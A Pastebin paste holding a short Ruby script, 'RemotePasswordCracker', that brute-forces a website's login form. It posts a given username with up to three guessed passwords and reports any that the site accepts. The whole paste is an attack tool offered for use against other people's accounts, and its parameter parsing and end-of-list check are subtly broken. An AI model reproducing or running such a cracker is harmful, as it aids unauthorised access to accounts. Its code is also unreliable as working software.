Advertisement
Guest User

Untitled

a guest
Apr 12th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1. require 'net/http'
  2. require 'optparse'
  3.  
  4. class RemotePasswordCracker
  5.  
  6. def parseCommandLineOptions()
  7.  
  8. options = {}
  9.  
  10. OptionParser.new do |opts|
  11.  
  12. opts.banner = "Usage: frspck [options]"
  13.  
  14. opts.on("-a PASSWORD, PASSWORD1, PASSWORD2", "--add PASSWORD, PASSWORD1, PASSWORD2", Array, "add passwords to crack username") do |pass|
  15. if pass[0]
  16. options[:PASSWORD] = pass[0]
  17. if pass[1]
  18. options[:PASSWORD1] = pass[1]
  19. if pass[2]
  20. options[:PASSWORD2] = pass[2]
  21. end
  22. end
  23. end
  24. end
  25. opts.on("-u", "--user USERNAME", "username to crack...") do |username|
  26. options[:u] = username
  27. end
  28. opts.on("-l", "--link LINK", "link from the http website to crack...") do |link|
  29. options[:l] = link
  30. end
  31. opts.on("-p", "--parameters POSTPAREMETER", "post parameters") do |post|
  32. options[:p] = post
  33. end
  34. end.parse!
  35.  
  36. return options
  37.  
  38. end
  39.  
  40. def checkHTTP(url)
  41. if !url.include?"http" and !url.include?"https"
  42. return false
  43. end
  44. return true
  45. end
  46.  
  47. def cracker()
  48.  
  49. options = parseCommandLineOptions()
  50. url = options[:l]
  51.  
  52. if !checkHTTP(url)
  53. puts("Not a valid http link...\nShutting down...\n")
  54. return false
  55. end
  56.  
  57. passwordArray = Array.new
  58. postArray = Array.new
  59. uri = URI(url)
  60. username = options[:u]
  61. passwordArray.push(options[:PASSWORD])
  62. passwordArray.push(options[:PASSWORD1])
  63. passwordArray.push(options[:PASSWORD2])
  64. postRequest = options[:p]
  65. delimiters = ["&", ":"].to_s
  66. postArray = postRequest.split(Regexp.union(delimiters))
  67. x = 0
  68.  
  69. threadPost = Thread.new do loop do
  70.  
  71. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => passwordArray[x], postArray[2] => "submit"})
  72. if response.body.include?postArray[3].to_s
  73. puts(passwordArray[x] + " failed.")
  74. else
  75. puts("Username:" + username)
  76. puts("Password: " + passwordArray[x])
  77. break
  78. end
  79.  
  80. x += 1
  81.  
  82. if passwordArray[x] == passwordArray[passwordArray.length]
  83. puts("Couldn't crack account...\n")
  84. break
  85. end
  86.  
  87. end
  88. end
  89. threadPost.join()
  90. end
  91. end
  92.  
  93. passwordCracker = RemotePasswordCracker.new
  94. passwordCracker.cracker()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement